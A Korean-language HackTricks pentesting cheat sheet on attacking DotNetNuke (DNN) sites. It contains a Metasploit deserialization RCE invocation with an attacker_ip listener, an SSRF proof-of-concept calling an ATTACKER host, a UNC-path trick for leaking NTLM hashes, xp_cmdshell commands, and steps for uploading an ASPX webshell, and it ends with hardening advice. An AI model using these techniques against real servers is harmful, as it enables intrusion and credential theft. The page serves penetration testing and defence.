DotNetNuke (DNN)

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

DotNetNuke (DNN)

DNN에 관리자로 로그인하면 RCE를 얻는 것이 쉽지만, 최근 몇 년 동안 여러 비인증인증 후 기술이 발표되었습니다. 다음 치트 시트는 공격 및 방어 작업 모두에 유용한 기본 요소를 수집합니다.


버전 및 환경 열거

  • X-DNN HTTP 응답 헤더를 확인하세요 – 일반적으로 정확한 플랫폼 버전을 공개합니다.
  • 설치 마법사는 /Install/Install.aspx?mode=install에서 버전을 유출합니다 (매우 오래된 설치에서 접근 가능).
  • /API/PersonaBar/GetStatus (9.x)는 낮은 권한 사용자에 대해 "dnnVersion"을 포함하는 JSON 블롭을 반환합니다.
  • 라이브 인스턴스에서 볼 수 있는 일반적인 쿠키:
  • .DOTNETNUKE – ASP.NET 폼 인증 티켓.
  • DNNPersonalization – XML/직렬화된 사용자 프로필 데이터가 포함되어 있습니다 (구버전 – 아래 RCE 참조).

비인증 취약점 이용

1. 쿠키 역직렬화 RCE (CVE-2017-9822 및 후속)

영향을 받는 버전 ≤ 9.3.0-RC

DNNPersonalization은 내장된 404 핸들러가 활성화된 모든 요청에서 역직렬화됩니다. 따라서 조작된 XML은 임의의 가젯 체인 및 코드 실행으로 이어질 수 있습니다.

msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST  <attacker_ip>
msf> run

모듈은 패치되었지만 여전히 취약한 버전(CVE-2018-15811/15812/18325/18326)에 대해 올바른 경로를 자동으로 선택합니다. 7.x–9.1.x에서는 인증 없이 공격이 가능하며, 9.2.x+에서는 검증된 저권한 계정으로 가능합니다.

2. 서버 측 요청 위조 (CVE-2025-32372)

영향을 받는 버전 < 9.13.8 – 패치가 2025년 4월에 출시됨

구버전 DnnImageHandler 수정의 우회를 통해 공격자가 서버에 임의의 GET 요청을 하도록 강제할 수 있습니다(반-블라인드 SSRF). 실제 영향:

  • 클라우드 배포에서 내부 포트 스캔 / 메타데이터 서비스 검색.
  • 인터넷에서 방화벽으로 차단된 호스트에 접근.

개념 증명(대체 TARGET & ATTACKER):

https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc

요청은 백그라운드에서 트리거됩니다; 콜백을 위해 리스너를 모니터링하세요.

3. NTLM 해시 노출 via UNC 리디렉션 (CVE-2025-52488)

영향을 받는 버전 6.0.0 – 9.x (< 10.0.1)

특별히 조작된 콘텐츠는 DNN이 \\attacker\share\img.png와 같은 UNC 경로를 사용하여 리소스를 가져오도록 시도하게 만들 수 있습니다. Windows는 NTLM 협상을 기꺼이 수행하며, 서버 계정 해시를 공격자에게 유출합니다. 10.0.1로 업그레이드하거나 방화벽에서 아웃바운드 SMB를 비활성화하세요.

4. IP 필터 우회 (CVE-2025-52487)

관리자가 관리 포털 보호를 위해 Host/IP 필터에 의존하는 경우, 10.0.1 이전 버전은 리버스 프록시 시나리오에서 X-Forwarded-For를 조작하여 우회될 수 있음을 유의하세요.


인증 후 RCE

SQL 콘솔을 통한

Settings → SQL 아래에 내장된 쿼리 창이 사이트 데이터베이스에 대한 실행을 허용합니다. Microsoft SQL Server에서 **xp_cmdshell**을 활성화하고 명령을 생성할 수 있습니다:

sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';

ASPX 웹쉘 업로드 방법

  1. **Settings → Security → More → More Security Settings**로 이동합니다.
  2. Allowable File Extensionsaspx (또는 asp)를 추가하고 저장합니다.
  3. **/admin/file-management**로 이동하여 shell.aspx를 업로드합니다.
  4. **/Portals/0/shell.aspx**에서 이를 트리거합니다.

Windows에서의 권한 상승

**IIS AppPool<Site>**로 코드 실행이 이루어지면, 일반적인 Windows 권한 상승 기술이 적용됩니다. 만약 시스템이 취약하다면 다음을 활용할 수 있습니다:

  • PrintSpoofer / SpoolFool를 사용하여 SeImpersonatePrivilege를 악용합니다.
  • Juicy/Sharp Potatoes를 사용하여 Service Accounts에서 탈출합니다.

강화 권장 사항 (블루 팀)

  • 9.13.9 이상으로 업그레이드합니다 (SSRF 우회 수정) 또는 바람직하게는 10.0.1 (IP 필터 및 NTLM 문제).
  • 설치 후 잔여 InstallWizard.aspx* 파일을 제거합니다.
  • 아웃바운드 SMB (포트 445/139) 이탈을 비활성화합니다.
  • DNN 내에서가 아니라 엣지 프록시에서 강력한 Host Filters를 시행합니다.
  • 사용하지 않는 경우 /API/RemoteContentProxy에 대한 접근을 차단합니다.

참조

  • Metasploit dnn_cookie_deserialization_rce 모듈 문서 – 실용적인 인증되지 않은 RCE 세부정보 (GitHub).
  • GitHub 보안 자문 GHSA-3f7v-qx94-666m – 2025 SSRF 우회 및 패치 정보.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기